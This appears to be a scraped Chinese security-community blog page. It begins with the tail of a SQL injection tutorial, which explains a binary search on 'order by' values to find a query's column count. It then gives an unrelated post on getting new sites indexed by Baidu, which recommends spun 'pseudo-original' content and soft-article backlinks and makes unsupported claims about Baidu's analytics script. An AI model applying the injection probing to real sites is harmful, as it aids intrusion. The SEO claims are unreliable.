这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。

声明: 本文出自《中国蓝客联盟官方团队博客》,转载请注明版权!

注意三点细节 让新站快速被百度收录

当站长们满怀希望地建设了一个新站时,第一步当然是希望新站能够迅速地度过百度的考察期,并被百度收录,因为只有被收录了才可以进行下一步的运营和优化工作。然而,可能由于站长的问题或者是百度算法问题,导致新站一个多月才被收录,甚至有些时候半年都不被收录。这样的情况经常会发生,无疑是对我们小站长破了一盘冷水。

笔者认为,只要做好细节,想让新站快速收录其实并不难。为了有图有真相,可以把笔者最近手头上一个站截图给大家看,该站仅仅用了19天就被百度收录了,并且关键词也有了一定的排名:

3
  那究竟要做好哪些细节才能让新站也像上图的那样快速被百度收录呢?下面笔者就来简单和大家探讨一下。

第一:百度统计是一把双刃剑,前期尽量别安装

百度统计是百度开发的一款统计网站流量的工具,因其权威性和专业性,百度统计也成为了站长做站必不可少的工具。但是,笔者却认为,新站前期是不适合安装百度统计的。原因就是,百度统计安装后,即会在新站上嵌入一段统计代码,这段统计代码会让百度蜘蛛更加深入爬行网站,如果新站做得不够完美,或者期间网站出现小改动,都会引致敏感的百度蜘蛛发现,并可能会加长新站被百度收录的时间,这将会是一件得不偿失的事情。当然,如果你自认为网站做得很完美了,敢于让把网站完全暴露在百度蜘蛛面前,安装百度统计也未尝不可,但是笔者还是各位谨慎安装,毕竟新站前期还是问题多多的。

第二:前期以编辑内容为主,外链别忙着发

新站前期最缺的是站内内容,而非外链,因此如果在新站前期只顾着发外链,不太注重站内优化可能会导致百度对新站收录时间加长。笔者则建议,前期外链可以不发,但是内容一定要填充起来。对于内容的编辑,不少站长都会采用采集程序来迅速填充内容,但是笔者不建议这么做,因为纯采集的内容对新站的后期发展是不利的,我们可以采用每天两篇(一篇采集,一篇深度伪原创)的方法填充网站内容,当网站栏目的内容都有一定数量后,才应该去发布外链。

第三:利用投稿软文为新站注入流量和外链

第二点也说了,当网站内容数量达到一定程度后,我们就可以开始发布外链了。发布外链的方式多种多样,可以到论坛,也可以到博客发布,这里就不一一介绍这些方法了。而在这里笔者则向大家推荐投稿软文的方法来获取外链和流量。软文外链作用是非常强大的,特别是新站需要新鲜的、自然地外链和流量,此方法就最适合不过了。笔者上面提高19天收录的网站就是运用了这个方法,通过向站长平台投稿了软文,获得了不少的外链:

2
  这种软文外链一旦成功,作用是会非常明显的,而且能够让外链自然分布,很好地提高了外链的广泛性,也能让百度蜘蛛认为你的网站是真心被人推荐的,所以,各位站长应该多多练习写作,善于使用软文,将会让你的网站迅速通过百度考察期。

每一位站长都希望自己的新站越快被收录就越好,要做到其实也并不难,只要站长们善于观察,学会掌握百度收录的规律,并加以制定对策,注意一些细节,相信很快就得到百度的认可并被百度收录了。

声明: 本文出自《中国蓝客联盟官方团队博客》,转载请注明版权!